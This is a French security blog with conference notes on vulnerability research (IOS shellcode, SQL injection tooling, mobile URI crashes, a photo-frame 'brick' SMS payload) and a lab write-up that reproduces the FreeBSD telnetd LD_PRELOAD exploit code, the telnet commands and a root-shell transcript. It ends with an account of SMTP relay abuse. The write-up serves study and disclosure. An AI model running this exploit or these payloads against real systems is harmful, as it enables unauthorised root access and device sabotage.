Utilisation de son framework de fuzzing parallèle (Tiamat). Scripté par AppleScript et monitoring du CPU pour savoir quand lancer le fichier suivant. Enregistrement des crashs répétés. Utilisation de libgmalloc (comme libefence) pour détecter les heap overflow sous Mac OS. Utilisation de memcheck (outil Valgrind) pour simuler l'exécution de programme et enregistrer les opérations mémoire invalides. Détection sous Linux. Crashwrangler classe les bugs en disant si ils sont exploitables ou pas.
Le fuzzing est une histoire de filtrage. Filtrage des résultats pour les classer en crash, exploitables, ... Recherche des crashs donnant des EIP uniques grâce à libgmalloc et Valgrind. S'ensuit une liste de chiffres sur le classement, et le nombre de bugs exploitables au final. Lancement de plus de 3 millions de tests depuis 1500 fichiers PDF.
Plus on fuzz un fichier unique, plus on trouve de faille exploitables: 500 => 1; 1000 => 2; 1500 => 3; 2000 => 4; ...
Ensuite même chose, mais contre Preview (viewer PDF sous Mac OS). Ensuite même chose, mais contre les fichiers PPT d'OpenOffice. Ensuite même chose, mais contre les fichiers PPT d'Office.
L'orateur a fini par faire un check lui-même pour vérifier l'exploitabilité de ce qu'il a trouvé. Il est souvent d'accord avec le résultat de Crashwrangler. L'autre programme pour tester s'appelle !exploitable et donne des résultats moins fiables.
Conclusion : plus on fait d'itérations sur ces 5 lignes de Python, plus ou trouve de bugs exploitables. L'idée intéressante ici était de prendre des fichiers valides, et de modifier 1 byte de manière aléatoire dans chacun de ceux-ci, et d'itérer sur chacun un grand nombre de fois pour avoir le plus grand nombre de fichiers de fuzzinga différents. Mais l'orateur arrive à une conclusion étonnante : les outils qu'il utilise ne sont pas doués pour détecter les erreurs et l'exploitabilité ... Beaucoup de chiffres affichés, difficile de tirer une conclusion claire.
ooo Un gars éteint son ordinateur portable sous Windows. Je vois l'écran de mise à jour : 72 patchs restants ... ooo
EScript.api (Adobe Reader JavaSript Engine). Le talk est a propos d'un plugin IDA Pro nommée BinCrowd. BinCrowd a permis de détecter que c'est en fait l'engine SpiderMonkey qui est derrière EScript.api. Cela a été possible sans le code source associé.
L'idée est de trouver les programmes intégrant les mêmes bibliothèques non-dynamiques dans leur code. Ainsi, si on trouve une faille dans un programme A qui intègre une bibliothèque vulnérable, on peut trouver les autres programmes qui ont aussi cette faille.
S'ensuit une description de l'algorithme permettant l'identification de duplication de bibliothèque. C'est une fonction de hash pour un graphe. Ainsi, une comparaison numéraire est possible. Mais en fait, a l'usage, cela se montre trop limité, et il est nécessaire de développer un algo pour gérer un callgraph complet avec les adresses de fonctions associées.
BinCrowd est aussi une solution pour faire du RE entre équipes qui ont un différent niveau d'accréditation. Les données sensibles ne peuvent être transmises entre équipes qui ne possède pas le même niveau. Ainsi, il est possible de partager le travail, mais pas les données sensibles. Cela fonctionne comme un middleware, avec une base de données centrale, et un contrôle du transfert des informations.
Tout le monde peut utiliser BinCrowd, le plugin (opensource?) ainsi qu'un compte sont nécessaires.
Il fait de la rechercher sécurité chez KPMG en Angleterre. IODIDE est un IOS débogueur et un Integrated Disassembler Environment écrit en Python. Il communique avec IOS via le remote gdb intégré. Il a une interface graphique. S'ensuit une explication du fonctionnement du gdb Cisco (qui varie au niveau du remote protocole par rapport à celui d'un gdb standard). Le gdb Cisco ne supporte qu'un nombre limité de commandes. On peut s'y connecter via IP où un accès port série.
Démo.
Grâce à cet outil, on peut utiliser un débogueur ressemblant à OllyDbg pour voir l'état des registres, les exceptions, l'état de la pile, ainsi que le code désassemblé ... le tout en remote. Le débogueur a vraiment l'air puissant. Recherche de données en mémoire. Obtention de la liste des process. Affichage de la configuration Cisco actuelle. On peut aussi modifier les registres et la mémoire. L'environnement de désassemblage est pas mal non-plus, il permet d'ajouter des commentaires de manière simple.
Ensuite un historique des failles IOS. Stack et heap overflows. Format string (mais seulement fuite d'information, pas de %n chez IOS). Mike Lynn a été le premier à créer un shellcode pour IOS (un connect-back shellcode) mais qui n'a jamais été diffusé.
IOS est un gros binaire ELF dont toutes les fonctions ont des adresses différentes en fonction de la version d'IOS. Le processeur est du PowerPC. Identifier la version exacte est très difficile. Si l'ont utilise une adresse incorrecte lors d'une tentative d'exploitation, le router reboute.
Étude de cas sur une faille dans le serveur FTP. Un stack overflow dans le verbe MKD. S'ensuit une explication de l'exploitation des stack overflow sur architecture PowerPC. L'équivalent de EIP sous x86 est ici LR (Link Register). L'adresse que nous souhaitons utiliser pour lancer le shellcode se retrouvera dans le PC (Program Counter).
Le shellcode devra supprimer le prompt pour un password au login, et donner un accès "level 15" équivalent à root. Et surtout, sortir de manière propre sans crasher le routeur. Pour supprimer le password prompt, il écrit la valeur 1 à un offset. Pour accroitre les privilèges, il écrit la valeur 0x1f000000 à un autre offset. Pour sortir de manière propre, il fait l'équivalent d'un kill(-1), pour se tuer lui-même. Mais ca ne coupe que la connexion, pas le service FTP.
Il a diffusé un shellcode (cassé) en juillet 2008. Maintenant, il utilise un méthode return-oriented programming. Il utilise le propre code PowerPC pour écrire une adresse où il veut. En 2 paquets, il obtient la suppression du password prompt, et l'élévation de privilèges. Mais il utilise des adresses hard-codées.
Utilisation du syscall #34 pour accéder à la chaine de version IOS. Utilise la fonction send() pour retourner l'info via la socket ouverte.
Démo. Via IODIDE (Exploit Edition), il exploite la faille. Pas mal.
Conclusion : excellent outil de débogage et désassemblage. A mon avis excellent pour écrire des exploits IOS. Pas grand monde fait de la recherche sur l'exploitation IOS; plein de boulot en perspective dans le domaine. IODIDE ne supporte que PowerPC pour le moment. Il sera releasé en open source (mais pas l'Exploit Edition).
Checheur en sécurité sur les appareils mobiles. Tout ce qui possède une carte SIM.
Découverte de fuite d'information et exploitation à l'aide d'URI "from hell" principalement. Tout d'abord fuite d'information par connexion à des sites Web via le navigateur intégré au téléphone mobile. Aujourd'hui les téléphones ont un vrai navigateur (WAP est mort), et l'accès au Web est populaire.
- MSISDN : numéro de téléphone. - IMSI : SIM card ID - IMEI : phone ID
Rumeur : certains téléphones feraient fuir des infos privées via les en-têtes HTTP. Du coup, il a mis un place un logging systématique des en-têtes HTTP sur son serveur Web qui est assez populaire. Il peut collecter des données pour vérifier. Quelques exemples : - Rogers : opérateur Canadien révèle le MSISDN. - H3G Italie : révèle aussi le MSISDN. - Vodafone aussi. - Orange UK aussi, et bien plus encore. - Pelephone, Israel, fait fuir le MSISDN, l'IMSI et l'IMEI clairement dans les en-têtes.
Et l'énumération continue, c'est l'hécatombe. Certains encodent l'info en Hex ^^ D'autres infos souvent remontées : customer ID, point de connexion (APN).
Apparemment, les téléphones n'ont pas ces infos, elles sont donc ajoutées par un proxy/gateway de l'opérateur. Le sujet des Web proxy de téléphones semble compliqué.
Démo. Une liste d'information capturées avec des statistiques.
L'orateur trouve étonnant que ces fuites d'informations n'aient pas eu une plus grande attention médiatique.
L'orateur fournit un lien pour valider son opérateur (sans qu'il ne logue, rires) : http://www.mulliner.org/pc.cgi
Ensuite on passe au hack du Kindle. Il possède une carte SIM qui marche sur tout téléphone, mais sans voix ni SMS. On peut seulement accéder au net via un proxy hardcodé chez amazon.com. Le trafic est rejeté si il ne vient pas du navigateur du Kindle. Mais comment ? Utilisation de privoxy (ou Modify Header) pour ajouter un en-tête x-fsn. L'outil Tethering implémente ca. Le hack permet un accès complet à Internet.
Ensuite il passe a Digital Picture Frame (HUAWEI DP230). Il a un modem et une carte SIM et un numéro de téléphone ... Désossage, branchement sur le port série puis accès shell (admin:admin). Il peut recevoir des SMS et possède un accès GPRS. Un SMS en XML permet de modifier la conf de l'appareil, comme par exemple modifier l'image de fond. Il doit par contre être originaire d'un numéro spécifique. Spoofer ce numéro est assez facile. Des services en ligne le fond pour pas cher. C'est le download des binaires qui a permis de reverser ce fonctionnement.
Quelques attaques: - désactiver l'accès Internet "<req><GPRS apn="brick"/></req>" - effacer toutes les images
Conclusion : les numéros assignés par les opérateurs sont guessable. On peut bricker tout un parc de machine de ce genre en brute-forçant un petit espace de numéros.
Il passe ensuite sur les cartes pré-payées. Quand le compte est vide, le trafic est redirigé vers un portail Web pour la recharge. On peut faire du DNS tunnel comme ca ^^ mais c'est identifiable par l'opérateur à cause de la nécessité d'avoir un endpoint DNS. Ça reste du tunnel DNS sur une connexion 3G, les performances ne sont pas super.
Maintenant les URIs from hell : des protocoles spéciaux implémentés dans les navigateurs des téléphones. C'est facile de faire crasher un téléphone avec du JavaScript embarqué dans un site Web malicieux, les téléphones trouvant automatiquement les URI qui les intéressent. Pour l'iPhone, une attaque permet le lancement d'un appel automatique via un iframe et un URI de type "sms:" ou "tel:" (<iframe src="sms:numéro" ...>). Avec une chaine trop longue dans le "sms:" URI, le téléphone freeze (CVE-2009-0961). Pour l'instant, ca fait juste apparaitre la fenêtre d'envoi de SMS ou d'appel. Pas d'automatisation possible.
Conclusion : il n'y a pas que les smartphones dans la vie, il faut penser aussi aux simples? téléphones, aux réseaux des opérateurs mobiles et au "Consumer Electronics Devices".
Présentation orientée lois aux US. Mais utile, car si on enfreint les lois US depuis un autre pays, on peut être poursuivi en posant les pieds chez eux (en gros). L'EFF travail sur le droit des développeurs, sur les DRM, ...
Nouveauté : accéder à du software embarqué viol le DMCA.
Elle n'aborde pas les violations de brevets, ni les "trade secrets". Les présentation est donc orientée violation du DMCA. Quelques exemples : iPhone jailbreaking, calculatrices TI, Kindle Souvent, les attaques s'articulent autour de la signature des composants (la chaine de confiance TPM). Et donc à une attaque ciblée sur les clés de signature. Pour le Kindle, c'est une méthode pour contourner le DRM.
Note : pour la calculatrice TI : la clé privée est dérivée de la clé publique :) Le fait que les clés de signatures soit faibles n'entre pas en compte lors d'une poursuite judiciaire.
Ce qu'il faut retenir : - éviter de cliquer pour accepter le EULA - avoir l'autorisation du fabriquant du produit - et d'autres encore.
Un talk sur la légalité que je n'ai pas vraiment suivi.
Question ouverte : pourquoi dans toutes les conférences de sécurité, la seule femme qui présente parle des aspects légaux ?
ooo La fille qui s'occupe de faire le gong entre les talks boit une bière. Elle prend une pause comme dans une pub. D'ailleurs, les gens qui font un lightning talk ont le droit à une bière. ooo
- CSP (Content Security Policy) - URL shorteners (utilisation d'encoder de shellcode alphanumeric pour les URI véhiculant un exploit genre smb://long_string, et on place dans un URL shortener, et ca passe) (Saumil Shah) - Waledac Botnet (Thorsten Holz) Attaque Sybil pour couper une partie du réseau P2P. - 2600 Hz or not, Jon Van Boxtel
Saumil gagne le prix du meilleur talk.
lundi, avril 5 2010
Par GR le lundi, avril 5 2010, 20:43 - Compte-rendu
La matinée de cette première journée est consacrée à l'enregistrement des participants. Environ 500 personnes présentes dans la salle.
Une histoire de bad software engineering et de bad design ; où comment une petite erreur de design peut couter très cher. En 1971, FTP est inventé et codé. Les premières versions de transport d'email était faite via FTP. En 1976, NCP. Qui était l'ancêtre de TCP. Fonctionnement a sens unique, pas encore de full-duplex. Suivi d'une explication sur le fonctionnement de FTP.
Question clé : peut-on parler de design pour FTP dans un monde de software a cet époque ?
Puis, description sur la difficulté de faire fonctionner FTP au travers d'un firewall. Blabla sur l'introduction des firewalls. Le premier produit commercialisé en 1991 coutait $175,000. L'idée est que le design de FTP de l'époque coute des millions aujourd'hui, a cause de la difficulté de filtrage de ce protocole au niveau firewall. Puis une autre histoire : pour décharger le noyau, les Sockets BSD furent introduit. Le but était d'accepter un plus grand nombre de connections. Mais il fallait garder une table des sockets ouvertes, et cela n'a pas protégé contre le SYN flooding. En 1995, le protocole HTTP a été imaginé pour être stateless, aussi pour décharger le noyau. HTTP fonctionne en ouvrant de nombreuses connections TCP short-lived. Ce fut lent, et les codeurs de navigateurs Web décidèrent de faire ces connections en parallèle ...
Résultat : du surf plus rapide, mais plus de load sur le réseau et le serveur.
Aujourd'hui, on a amélioré le code gérant les short-lived connections pour résoudre ces problèmes. En 1997, le E-commerce. Problème avec HTTP, aucun état n'est maintenu, et c'est devenu nécessaire (gestion de l'authentification, garder la liste des courses ...). Ainsi des frameworks de développement furent introduit pour garder l'état des connexions via un session management. Tout cela, parce que HTTP a été designé pour être stateless. Quel coup pour tout ceci ? Sans compter les erreurs de codage menant à toutes les failles que l'on connait. Vient ensuite la gestion de la charge. Chaque load balancer doit garder l'état pour savoir où rediriger les requêtes et éviter de briser l'état de la session. Tout cela alors que TCP/IP sait déjà gérer l'état d'une session ... et en plus de ré-implémenter une gestion de session, nous avons de nouvelles classes de vulnérabilités (XSS, XSRF, ...).
Conclusion : un mauvais design coute extrêmement cher. D'où l'idée de développer le "design intelligent" mais par un visionnaire omniscient. Le soft est au coeur de tout, on doit faire mieux, être moins concernés par le "backward compatibility" et être plus au fait des conséquences d'une petite décision de design.
Respectivement Senior Security Test leader et Software Design Engineer. Historique des menaces : macro virus principalement. Avant 2006, tèrs peu d'attaques sur le format des documents eux-même. Quand Microsoft a vu que les failles commençaient a être commercialisées, ils ont décidé d'investir pour éviter les failles dès le début. Nouvelles organisation : chaque produit à une liste de contacts sécurité. Chaque produit à une liste de feature owner.
1. Harden the attack surface : suivre le SDL, automatiser la revue de code, SafeInt?, suppression des vieux parseurs (exemple : 3 parseurs différents pour JPEG), fuzzing distribué (300+ formats de fichier à supporter, certains n'étant pas simples et nécessitant des fuzzers particuliers). Suivi d'une explication sur le fuzzing distribué, qui pourrait être utilisé pour les tests en général. L'idée est de centraliser la gestion du fuzzing : les tests, les résultats, les erreurs et les rapports. Le but est aussi de répartir la charge pour exploiter les machines non utilisées. Microsoft a developé un client de fuzzing distribué facile à utiliser par tous les dveloppeurs. Un serveur avec interface Web centralise le tout. Une fonction intéressante permet de re-tester contre les régressions, en prenant par exemple une call stack d'erreur en input. Également la possibilité de tester les même bugs sur différents produits. Pour chaque bug trouvé, toutes les infos sont disponibles (état des registres, call stack complète ...). En gros, ils ont fait un botnet sur leur réseau qui sert à faire du fuzzing. Ils ne se posent pas la question de l'exploitabilité d'un bug quand ils en trouvent un, ils le patch (au minimum, ca rendra le produit plus stable).
2. Reduce the attack surface : File Block (exemple: bloquer les formats non utilisés) et Gatekeeper (évaluation de la 'correctness' des fichiers à l'ouverture, avec mécanisme de mise à jour des informations de 'correctness'). Demo. En gros, ils ont mis un anti-virus dédié aux formats de fichier dans Office.
3. Mitigate the Exploits : Création d'un Office 'Protected Viewer' qui classe toutes les sources venant d'Internet comme untrusted. Architecture avec un processus Host et un processus Client. Utilise des composants de sandboxing (isolation des processus). Ceci est géré par wwlib.dll, qui lance une instance de winword.exe dans une sandbox.
4. Improve the User Experience : l'améliorer en rapport avec la confiance. A l'avenir, en prenant l'exemple de l'ouverture d'un attachement mail : Open > Gatekeeper Validation > Sanboxed Viewer > User Clicks enable > Document Opened. Ensuite, le user peut le sauvegarder, et le rouvrir sans ces checks. Option très intéressante pour regarder les "conneries" envoyées par les potes, les documents sont vus dans la Sandbox, et ne doivent pas pouvoir abimer le système (exemple pris tel quel par l'orateur).
Conclusion : Ils ont d'abord décris un processus de tests bien fait, pas forcément orienté uniquement sécurité. Ensuite, ils ont décrits les améliorations apportées à Office qui elles ont été pensées pour la sécurité.
Quelqu'un s'est amusé à broadcaster le SSID "CanSecWest". C'était évidemment un faux.
Description d'une méthode blackbox automatisée d'intrusion SQL. La vulnérabilité est exploitée de manière à éviter les "False Positives". Première étape de reconnaissance. Un web spider utilisant un MitM proxy. Reconstruction des QUERY_STRING et parfois du chemin de l'URL (cas mod_rewrite). Parcours aussi les champs HTML <form>. Fonctionne en mode fuzzing, et peut potentiellement abimer l'application. Détection des erreurs (HTTP error codes, error strings, redirections ...). Pour déterminer la présence d'une injection, une liste de test retournant true/false est jouée. Si true, alors on contre-test par une autre méthode pour confirmer. C'est une technologie de type système expert. Une autre fonction est de déterminer le type de la base de donnes (produit, version). La méthode retenue : du brute-force sur les fonctions possibles (HEX() pour DB2, HOST_NAME() pour SQL Server, VERSION() pour MySQL, ...). L'implémentation tourne autour d'une couche d'abstraction nommée "channel". Elle fournit une API (UNION, Scalar, Blind, ...).
ooo Le téléphone rouge sonne, Charlie Miller semble avoir exploité avec succès une faille dans l'iPhone. Il gagne un truc ^^ ooo
L'outil permet de savoir si la requête exploitée est de type SELECT. Il détecte la morphologie (nombre de colonnes, leur type, la visibilité dans le HTML, ...). Un exemple d'utilisation : remplacer la vrai requête par la notre (SELECT user,pass FROM credentials). Pour que cela marche, il faut détecter le nombre d'élément de la requête d'origine (ici 2), et leur type (ici string). Si c'est le cas, nous pouvons construire la requête de l'exemple. Si les types ne sont pas les mêmes, on peut utiliser des fonctions pour "caster" les valeurs. Pour extraire toutes ces informations, une requête SQL CASE est utilisée (CASE WHEN ... THEN ... ELSE). Mais cela permet uniquement d'extraire bit par bit (un bit étant true/false).
ooo Le téléphone rouge sonne de nouveau, une nouvelle faille a été trouvée (IE? 64-bit). ooo
Yves-Alexis et Loïc travaillent pour l'ANSSI (Agence Nationale de SSI). Tout type de carte réseau. Leur hardware est complexe (plusieurs processeurs, différents types de mémoire, ...). Leur firmware est complexe (gestion de la segmentation TCP en offloading, remote management, ...). Ça n'a rien a voir avec les bugs drivers ou les vulnérabilités de l'OS. Description de l'architecture. PHY (send/recv sur le réseau), DMA-engine (send/recv sur le bus interne), negociation and link control (full-duplex, ...). Explication pour la carte Broadcom intégrée sur certains NIC. La carte possède un processeur MIPS, le firmware permet une customisation pour processer des paquets propriétaires par exemple. La mémoire interne de la carte est mappée sur la mémoire de la machine hôte. Protocole ASF. La carte réseau reçoit les évènements des autres devices de la machine via SMBus. Utilisation du protocole RMCP pour rebooter et autres actions ... ASF n'a aucune interface sécurité de prévu, et les fabriquant ne sont pas vraiment incités à en faire.
ooo Le téléphone rouge sonne : Firefox sous Windows 7. ooo
ASF 2.0 ajoute un nouveau protocole : RSP. Des extensions sécurité pour RMCP, comme l'authentification et le contrôle d'intégrité. Mais pas de chiffrement. RMCP est en écoute sur 623/UDP. La version secure sur 664/UDP. Broadcom fournit un outil de configuration ASF. Ces paquets UDP ne sont jamais vu par l'OS, puisque interceptés par la carte réseau avant.
Vulnérabilité potentielle sur le protocole d'authentification (réduction de l'entropie). Problème d'implémentation sur le username (CVE-2010-0104), limité à 16 caractères sans null byte avec 1 byte pour spécifier sa longueur. Nécessité de déboguer la carte réseau par un débogueur de NIC (accès aux registres du processeur MIPS). Ils ont développé un débogueur NIC maison. Ils ont ensuite pu écrire un exploit pour la faille trouvée dans la gestion du champ username. Comme il n'y a que 255 octets (moins le padding) pour placer le shellcode de l'exploit, ils utilisent l'accès aux network buffers pour placer leur shellcode. En effet, le NIC est le mieux placé pour accéder aux network buffers. NIC utilise le DMA engine ; il peut donc lire et écrire la mémoire de la machine hôte. Un paquet réseau exploitant une faille peut donc être utilisé pour écrire des données dans la mémoire de la machine hôte sans contrôler son OS.
Suivi d'une démo sur l'amélioration de leur exploit : lancement des paquets RMCP exploitant la faille. Puis d'un message ICMP magique. Enfin, un rootshell en écoute sur le port 2 est activé. De plus, faire un ps sur la machine victime montre juste un shell, et un khelper (donc, attaque assez stealth).
Note : Le débogueur accède aux registres de la NIC via le driver local qui lui, à accès aux registres du processeur de la carte NIC via un mapping mémoire. Pas besoin de JTAG et compagnie.
Conclusion : Ce n'est pas encore le moment de paniquer. Peu de cartes supportent ASF, et encore moins l'ont activé par défaut.
mercredi, juin 10 2009
Par GR le mercredi, juin 10 2009, 21:49 - Vulnérabilité
Le 16 février 2009, une vulnérabilité old school est tombée sur telnetd de FreeBSD [1]. L'inventeur de la faille (Kingcope) a émis l'hypothèse d'une exploitation possible en remote. Je vous propose d'étudier la faisabilité de l'idée.
Première chose, avoir un FreeBSD vulnérable [2]. Ça tombe bien, j'ai un 7.1-RELEASE qui traine dans une VM. On active tout d'abord le telnetd dans /etc/inetd.conf, et on démarre inetd. Mais qui ose encore activer telnetd, si ce n'est pour exploiter des vulnérabilités ou pour prouver que c'est un protocole clear-text ? Ben y'a quand même des gens (hint : scannez Internet).
Deuxième chose, pouvoir compiler du code exécutable par un FreeBSD/x86. J'ai ça aussi. L' exploit est on ne peut plus trivial :
// FreeBSD telnetd local/remote privilege escalation/code execution
// remote root only when accessible ftp or similar available
// tested on FreeBSD 7.0-RELEASE
// by Kingcope/2009
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo GomoR was here;/bin/sh");
}
Je passe les détails sur comment compiler ce code, c'est expliqué dans le message de Kingcope. Par contre, une explication rapide sur le contenu. La fonction _init() est une fonction appelée par tous les binaires (au moins ceux au format ELF). Pour être exact, la fonction _init() est intégré dans la section .init du binaire à la compilation. Cette section contient des fonctions qui seront exécutées au démarrage du binaire. Voyez ci-dessus la sortie de la commande objdump attestant que le binaire telnetd possède une section .init :
% objdump -h /usr/libexec/telnetd |grep init 9 .init 00000011 08049cf0 08049cf0 00001cf0 2**2
Dans notre cas, la nouvelle fonction _init() va exécuter un shell. Maintenant, ça ne constitue pas une faille en soit, vous me direz. C'est là qu'intervient la variable d'environnement LD_PRELOAD. Cette variable permet de charger une nouvelle bibliothèque avant l'exécution d'un programme, pour "écraser" une fonction interne de ce programme. Notre exploit va ainsi remplacer la fonction _init() du binaire telnetd par la sienne, qui exécute un shell. Il va également supprimer cette variable d'environnement, sinon nous avons une jolie boucle infinie de chargement de la bibliothèque. Mais pour que ça marche, il faut aussi que le binaire "victime" soit compilé en dynamique :
% file /usr/libexec/telnetd /usr/libexec/telnetd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.1, dynamically linked (uses shared libs), FreeBSD-style, stripped
Parfait. Là encore, ça ne constitue pas une faille en soit. La vraie faille est que telnetd ne nettoie pas bien toutes ses variables d'environnement (fournies soit par le shell appelant, soit par le protocole telnet, nous y reviendrons). Les failles LD_PRELOAD, ça, c'est du old school.
Passons à la pratique, l'exploitation à proprement parlée. silenoz est l'attaquant, legion la victime :
silenoz ~ % telnet telnet> auth disable SRA telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0 telnet> open legion Trying 192.168.1.10... Connected to legion.enslaved.lan. Escape character is '^]'. FreeBSD/i386 (legion.enslaved.lan) (ttypd) Connection closed by foreign host.
Exploit: FAIL. Pourquoi ça ? Et bien parce que notre méchante bibliothèque n'est présente qu'en local (sur silenoz), et non pas sur la machine legion. Uploadons la méchante bibliothèque sur la cible, et retentons :
silenoz ~ % telnet telnet> auth disable SRA telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0 telnet> open legion Trying 192.168.1.10... Connected to legion.enslaved.lan. Escape character is '^]'. FreeBSD/i386 (legion.enslaved.lan) (ttypd) GomoR was here # id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) # hostname legion.enslaved.lan #
Voilà qui est mieux :) Et voyons le contenu du packet du protocole telnet qui place la variable d'environnement :
0040 ff fa 20 00 33 38 34 30 30 2c 33 38 34 30 .. .38 400,3840 0050 30 ff f0 ff fa 27 00 03 4c 44 5f 50 52 45 4c 4f 0....'.. LD_PRELO 0060 41 44 01 2f 74 6d 70 2f 6c 69 62 6e 6f 5f 65 78 AD./tmp/ libno_ex 0070 2e 73 6f 2e 31 2e 30 00 55 53 45 52 01 67 6f 6d .so.1.0. USER.gom 0080 6f 72 ff f0 ff fa 18 00 58 54 45 52 4d ff f0 or...... XTERM..
Une option du protocole telnet permet de placer des variables d'environnement à distance. Terriblement dangereux, mais terriblement utile. Qui parle de X display ? Qui a encore dit terriblement dangereux ? M'enfin bon, ça existe.
Pour conclure sur le sujet, la faille a été réintroduite avec FreeBSD 7.0-RELEASE. Régression. Ça arrive, même aux meilleurs. A moins qu'il n'existe déjà sur le système attaqué une bibliothèque possédant une fonction qui exécute une commande malicieuse (en gros, une fonction _init()), cette faille n'est pas exploitable en remote. Donc, very unlikely. Sauf si, bien sûr, vous pouvez uploader un fichier arbitraire sur la cible. Genre par un serveur Web avec un applicatif troué.
[1] "Full-disclosure FreeBSD zeroday" - http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html
[2] "telnetd code execution vulnerability" - http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc
jeudi, mars 26 2009
Par GR le jeudi, mars 26 2009, 23:30 - Configuration
"Tiens, on dirait que j'ai de moins en moins d'emails ces temps-ci ....". C'est par cette triste pensée que débuta ma recherche de la cause du problème. En effet, je possède un serveur dédié comme nombre de passionnés. Et bien sûr, mon serveur dédié héberge de multiples domaines. Mais surtout, un serveur SMTP pour dans les ténèbres les lier. C'est de ce dernier et de sa configuration dont je vais parler aujourd'hui.
Donc, je ne reçois presque plus de mails. Première hypothèse, plus personne ne m'aime. Non, ça ne tiens pas, j'ai pas été plus méchant ces temps-ci que les temps précédents. Deuxième hypothèse, ma mail queue commence à saturer. Je me connecte en SSH, et là, c'est le drame. Le mailq me donne une liste qui défile pendant près d'une minute. Je traduis pour les incultes : ça veut dire beaucoup beaucoup de messages en attente de livraison.
Mais pourquoi donc que c'est comme ça ? En regardant rapidement, je vois que 80% des messages sont à destination de personnes ayant (ou pas) un mail @yahoo.com.tw. Avec un peu de chance, je n'ai qu'un spammeur qui a repéré une faiblesse chez moi.
Je tente un premier truc : bloquer les adresses IP sources qui me mettent ces messages @yahoo.com.tw dans ma queue (huhu). Mais comme prévu, la liste est longue; je ne retiens pas cette solution. Par contre, en attendant de trouver mieux, je bloque les messages sortant à destination des IP des MX de yahoo.com.tw afin de les décharger de ce load. Sympa knorr.
Deuxième truc : analyser les commandes SMTP. Je capture le trafic SMTP sur mon serveur pendant quelques minutes pour avoir de quoi jouer. Après analyse, voici les data qui me semblent intéressantes :
> EHLO msg-g09pmirpcam < 250-ns22829.ovh.net < 250-AUTH LOGIN CRAM-MD5 PLAIN < 250-AUTH=LOGIN CRAM-MD5 PLAIN < 250-PIPELINING < 250 8BITMIME > AUTH LOGIN < 334 VXNlcm5hbWU6 > YWRtaW4= < 334 UGFzc3dvcmQ6 > YWRtaW4= < 235 ok, go ahead (#2.0.0) > RSET > MAIL FROM:<fkp@ns22829.ovh.net> > RCPT TO:<oprah2073@yahoo.com.tw> ... > DATA < 250 flushed < 250 ok ... < 354 go ahead > From: =?BIG5?B?uFW+8KRI?= <fkp@ns22829.ovh.net> > To: "oprah2073" <oprah2073@yahoo.com.tw> > Subject: =?BIG5?B?obShtKG0obSkQK3TpKOlsqnxsfOnQaq6pHWnQLROpWm8V6VbpqykSqq6pOiqa6G0?==?BIG5?B?obShtKG0obShtA==?= > Date: Tue, 19 Jan 2038 11:14:07 +0800 ... < 250 ok 1237657002 qp 1924
Mais que vois-je ? mon serveur accepte les messages à destination d'un domaine que je n'héberge pas ? En l'occurrence, les messages à destination de yahoo.com.tw. Mais pourquoi tant de haine ? En regardant le début de la transaction, je note l'utilisation de AUTH LOGIN. En regardant encore mieux, non seulement la négociation n'échoue pas, mais en plus elle réussit !
Avant de vous traduire le dialogue, oui, pour vous, pauvres mécréants, un petit mot sur AUTH LOGIN. Mon serveur SMTP est (était) configuré pour utiliser la méthode SMTP AUTH LOGIN. Cette méthode permet aux seuls utilisateurs ayant un compte sur mon serveur (je simplifie) de s'authentifier en SMTP, et de se voir attribuer le droit de pouvoir utiliser mon serveur SMTP pour relayer tous leurs messages. Ai confiance en tes users :) L'intérêt est pour eux de ne pas avoir besoin d'utiliser le webmail de mon serveur pour expédier des messages provenant de leur nom de domaine. Mais leur client de messagerie se doit de supporter AUTH LOGIN. Revenons à notre traduction :
> AUTH LOGIN # Can I haz authenticashun to spam teh interwebs ? < 334 VXNlcm5hbWU6 # base64_decode => 'Username:' > YWRtaW4= # base64_decode => 'admin' < 334 UGFzc3dvcmQ6 # base64_decode => 'Password:' > YWRtaW4= # base84_decode => 'admin' < 235 ok, go ahead (#2.0.0) # authentication: WIN
Caugh, caugh. Vous lisez bien, admin/admin et le spammeur est authentifié sur mon serveur. Je me bas presque tous les jours pour que les gens changent les mots de passe par défaut. C'est pas dur merde ! Bon, que celui qui n'a jamais fauté jette la première pêche.
A ma décharge, la faille de configuration de mon serveur était plus sévère. N'importe quel couple login/mot de passe était accepté, et permettait de s'authentifier.
Je recompile donc qmail en désactivant le support AUTH LOGIN, n'ayant pas d'utilisateur s'en servant. Si ils me le demandent, je regarderai de plus près comment configurer ça de manière secure. Je redémarre qmail. Je regarde ma mailq. Je capture du trafic. J'analyse le trafic ... nan, c'est bon :) c'est corrigé. Mais la chose amusante, c'est que le spammeur en question n'utilise plus la méthode AUTH LOGIN. Voyons le nouveau trafic :
< 220 ns22829.ovh.net ESMTP > EHLO msg-g09pmirpcam < 250-ns22829.ovh.net < 250-PIPELINING < 250 8BITMIME < RSET < 250 flushed > MAIL FROM:<ins@ns22829.ovh.net> > RCPT TO:<roety503@yahoo.com.tw> ... < 250 ok < 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1) ...
Voilà qui va beaucoup mieux. Mais vous avez remarqué ? le spammeur n'utilise plus la méthode AUTH LOGIN. Ce qui veut dire que son robot analyse la sortie de la commande EHLO, et si le serveur SMTP supporte AUTH LOGIN, il tente une authentification. Au moins avec admin/admin. Je ne vais pas analyser plus que ça, mais il est possible que le robot brute-force un minimum avec différents couples login/mot de passe. Intéressant spammeur, on se reverra peut-être. A+
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